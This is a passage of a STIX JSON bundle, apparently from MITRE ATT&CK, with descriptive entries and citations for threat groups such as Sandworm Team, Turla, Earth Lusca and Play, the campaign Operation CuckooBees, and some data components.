/var/log/wmtp)","x_mitre_data_source_ref":"x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-16T16:18:00.876Z","name":"Earth Lusca","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)\n\n[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)","aliases":["Earth Lusca","TAG-22","Charcoal Typhoon","CHROMIUM","ControlX"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","type":"intrusion-set","id":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","created":"2022-07-01T20:12:30.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1006","external_id":"G1006"},{"source_name":"Charcoal Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"ControlX","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"CHROMIUM","description":"(Citation: Microsoft Threat Actor Naming July 2023) (Citation: Recorded Future RedHotel August 2023)"},{"source_name":"TAG-22","description":"(Citation: Recorded Future TAG-22 July 2021)"},{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"},{"source_name":"Recorded Future TAG-22 July 2021","description":"INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan"},{"source_name":"Recorded Future RedHotel August 2023","description":"Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.","url":"https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","mobile-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-21T15:41:36.287Z","name":"OS API Execution","description":"Operating system function/method calls executed by a process","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"x-mitre-data-component","id":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:06:05.468Z","name":"Operation CuckooBees","description":"[Operation CuckooBees](https://attack.mitre.org/campaigns/C0012) was a cyber espionage campaign targeting technology and manufacturing companies in East Asia, Western Europe, and North America since at least 2019. Security researchers noted the goal of [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), which was still ongoing as of May 2022, was likely the theft of proprietary information, research and development documents, source code, and blueprints for various technologies. Researchers assessed [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012) was conducted by actors affiliated with [Winnti Group](https://attack.mitre.org/groups/G0044), [APT41](https://attack.mitre.org/groups/G0096), and BARIUM.(Citation: Cybereason OperationCuckooBees May 2022)","aliases":["Operation CuckooBees"],"first_seen":"2019-12-01T07:00:00.000Z","last_seen":"2022-05-01T06:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Cybereason OperationCuckooBees May 2022)","x_mitre_last_seen_citation":"(Citation: Cybereason OperationCuckooBees May 2022)","x_mitre_deprecated":false,"x_mitre_version":"1.1","x_mitre_contributors":["Andrea Serrano Urea, Telefónica Tech"],"type":"campaign","id":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","created":"2022-09-22T20:07:47.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0012","external_id":"C0012"},{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-10-02T05:37:34.149Z","name":"Play","description":"[Play](https://attack.mitre.org/groups/G1040) is a ransomware group that has been active since at least 2022 deploying [Playcrypt](https://attack.mitre.org/software/S1162) ransomware against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Play](https://attack.mitre.org/groups/G1040) actors employ a double-extortion model, encrypting systems after exfiltrating data, and are presumed by security researchers to operate as a closed group.(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)","aliases":["Play"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Marco Pedrinazzi, @pedrinazziM"],"type":"intrusion-set","id":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","created":"2024-09-24T19:48:18.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1040","external_id":"G1040"},{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T17:37:44.040Z","name":"Sandworm Team","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)","aliases":["Sandworm Team","ELECTRUM","Telebots","IRON VIKING","BlackEnergy (Group)","Quedagh","Voodoo Bear","IRIDIUM","Seashell Blizzard","FROZENBARENTS","APT44"],"x_mitre_deprecated":false,"x_mitre_version":"4.1","x_mitre_contributors":["Dragos Threat Intelligence","Hakan KARABACAK"],"type":"intrusion-set","id":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","created":"2017-05-31T21:32:04.588Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0034","external_id":"G0034"},{"source_name":"Voodoo Bear","description":"(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"},{"source_name":"ELECTRUM","description":"(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)"},{"source_name":"Sandworm Team","description":"(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"},{"source_name":"Quedagh","description":"(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)"},{"source_name":"FROZENBARENTS","description":"(Citation: Leonard TAG 2023)"},{"source_name":"APT44","description":"(Citation: mandiant_apt44_unearthing_sandworm)"},{"source_name":"IRIDIUM","description":"(Citation: Microsoft Prestige ransomware October 2022)"},{"source_name":"Seashell Blizzard","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"BlackEnergy (Group)","description":"(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)"},{"source_name":"Telebots","description":"(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"},{"source_name":"IRON VIKING","description":"(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)"},{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"},{"source_name":"US District Court Indictment GRU Oct 2018","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.","url":"https://www.justice.gov/opa/page/file/1098481/download"},{"source_name":"Dragos ELECTRUM","description":"Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.","url":"https://www.dragos.com/resource/electrum/"},{"source_name":"F-Secure BlackEnergy 2014","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"},{"source_name":"iSIGHT Sandworm 2014","description":"Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.","url":"https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html"},{"source_name":"CrowdStrike VOODOO BEAR","description":"Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"},{"source_name":"InfoSecurity Sandworm Oct 2014","description":"Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017.","url":"https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/"},{"source_name":"NCSC Sandworm Feb 2020","description":"NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.","url":"https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory"},{"source_name":"USDOJ Sandworm Feb 2020","description":"Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.","url":"https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"},{"source_name":"Secureworks IRON VIKING ","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.","url":"https://www.secureworks.com/research/threat-profiles/iron-viking"},{"source_name":"UK NCSC Olympic Attacks October 2020","description":"UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.","url":"https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack","mobile-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["UNC2452","NOBELIUM","StellarParticle","Dark Halo"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Katie Nickels, Red Canary","Matt Brenton, Zurich Insurance Group"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","type":"intrusion-set","created":"2021-01-05T15:34:11.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"external_id":"G0118","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0118"},{"source_name":"UNC2452","description":"(Citation: FireEye SUNBURST Backdoor December 2020)"},{"source_name":"NOBELIUM","description":"(Citation: MSTIC NOBELIUM Mar 2021)"},{"source_name":"StellarParticle","description":"(Citation: CrowdStrike SUNSPOT Implant January 2021)"},{"source_name":"Dark Halo","description":"(Citation: Volexity SolarWinds)"},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."},{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-05-04T14:39:31.825Z","name":"UNC2452","description":"[UNC2452](https://attack.mitre.org/groups/G0118) is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion.(Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East.(Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019.(Citation: Volexity SolarWinds)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-17T16:07:34.686Z","name":"TA577","description":"[TA577](https://attack.mitre.org/groups/G1037) is an initial access broker (IAB) that has distributed [QakBot](https://attack.mitre.org/software/S0650) and [Pikabot](https://attack.mitre.org/software/S1145), and was among the first observed groups distributing [Latrodectus](https://attack.mitre.org/software/S1160) in 2023.(Citation: Latrodectus APR 2024)","aliases":["TA577"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"intrusion-set","id":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","created":"2024-09-17T16:05:53.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1037","external_id":"G1037"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-06-26T18:09:33.862Z","name":"Turla","description":"[Turla](https://attack.mitre.org/groups/G0010) is a cyber espionage threat group that has been attributed to Russia's Federal Security Service (FSB). They have compromised victims in over 50 countries since at least 2004, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns, and leveraging in-house tools and malware, such as [Uroburos](https://attack.mitre.org/software/S0022).(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","aliases":["Turla","IRON HUNTER","Group 88","Waterbug","WhiteBear","Snake","Krypton","Venomous Bear","Secret Blizzard","BELUGASTURGEON"],"x_mitre_deprecated":false,"x_mitre_version":"5.1","x_mitre_contributors":["Matthieu Faou, ESET","Edward Millington"],"type":"intrusion-set","id":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","created":"2017-05-31T21:31:49.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0010","external_id":"G0010"},{"source_name":"BELUGASTURGEON","description":"(Citation: Accenture HyperStack October 2020)"},{"source_name":"Krypton","description":"(Citation: CrowdStrike VENOMOUS BEAR)"},{"source_name":"Snake","description":"(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)(Citation: Talos TinyTurla September 2021)"},{"source_name":"Venomous Bear","description":"(Citation: CrowdStrike VENOMOUS BEAR)(Citation: Talos TinyTurla September 2021)"},{"source_name":"Turla","description":"(Citation: Kaspersky Turla)"},{"source_name":"Group 88","description":"(Citation: Leonardo Turla Penquin May 2020)"},{"source_name":"Secret Blizzard","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"IRON HUNTER","description":"(Citation: Secureworks IRON HUNTER Profile)"},{"source_name":"Accenture HyperStack October 2020","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity"},{"source_name":"Waterbug","description":"Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)"},{"source_name":"Talos TinyTurla September 2021","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html"},{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"},{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"ESET Turla PowerShell May 2019","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"},{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.","url":"https://securelist.com/introducing-whitebear/81638/"},{"source_name":"Kaspersky Turla","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","url":"https://securelist.com/the-epic-turla-operation/65545/"},{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"},{"source_name":"CrowdStrike VENOMOUS BEAR","description":"Meyers, A. (2018, March 12). Meet CrowdStrike’s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Secureworks IRON HUNTER Profile","description":"Secureworks CTU. (n.d.). IRON HUNTER. Retrieved February 22, 2022.","url":"http://www.secureworks.com/research/threat-profiles/iron-hunter"},{"source_name":"Symantec Waterbug","description":"Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.","url":"https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"},{"source_name":"WhiteBear","description":"WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)(Citation: Talos TinyTurla September 2021)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Suckfly"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","created":"2017-05-31T21:32:06.777Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"G0039","url":"https://attack.mitre.org/groups/G0039"},{"source_name":"Suckfly","description":"(Citation: Symantec Suckfly March 2016) (Citation: Symantec Suckfly May 2016)"},{"source_name":"Symantec Suckfly March 2016","url":"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates","description":"DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016."},{"source_name":"Symantec Suckfly May 2016","url":"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks","description":"DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)","modified":"2022-04-15T16:27:38.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Suckfly","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-06T21:43:44.941Z","name":"Ember Bear","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas.(Citation: Cadet Blizzard emerges as novel threat actor) [Ember Bear](https://attack.mitre.org/groups/G1003) conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: CISA GRU29155 2024) There is some confusion as to whether [Ember Bear](https://attack.mitre.org/groups/G1003) overlaps with another Russian-linked entity referred to as [Saint Bear](https://attack.mitre.org/groups/G1031). At present available evidence strongly suggests these are distinct activities with different behavioral profiles.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","aliases":["Ember Bear","UNC2589","Bleeding Bear","DEV-0586","Cadet Blizzard","Frozenvista","UAC-0056"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Hannah Simes, BT Security"],"type":"intrusion-set","id":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","created":"2022-06-09T14:49:57.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1003","external_id":"G1003"},{"source_name":"DEV-0586","description":"(Citation: Cadet Blizzard emerges as novel threat actor)"},{"source_name":"Cadet Blizzard","description":"(Citation: Cadet Blizzard emerges as novel threat actor)"},{"source_name":"Frozenvista","description":"(Citation: CISA GRU29155 2024)"},{"source_name":"UAC-0056","description":"(Citation: CISA GRU29155 2024)"},{"source_name":"Bleeding Bear","description":"(Citation: CrowdStrike Ember Bear Profile March 2022)"},{"source_name":"UNC2589","description":"(Citation: Mandiant UNC2589 March 2022)"},{"source_name":"CrowdStrike Ember Bear Profile March 2022","description":"CrowdStrike. (2022, March 30). Who is EMBER BEAR?. Retrieved June 9, 2022.","url":"https://www.crowdstrike.com/blog/who-is-ember-bear/"},{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct 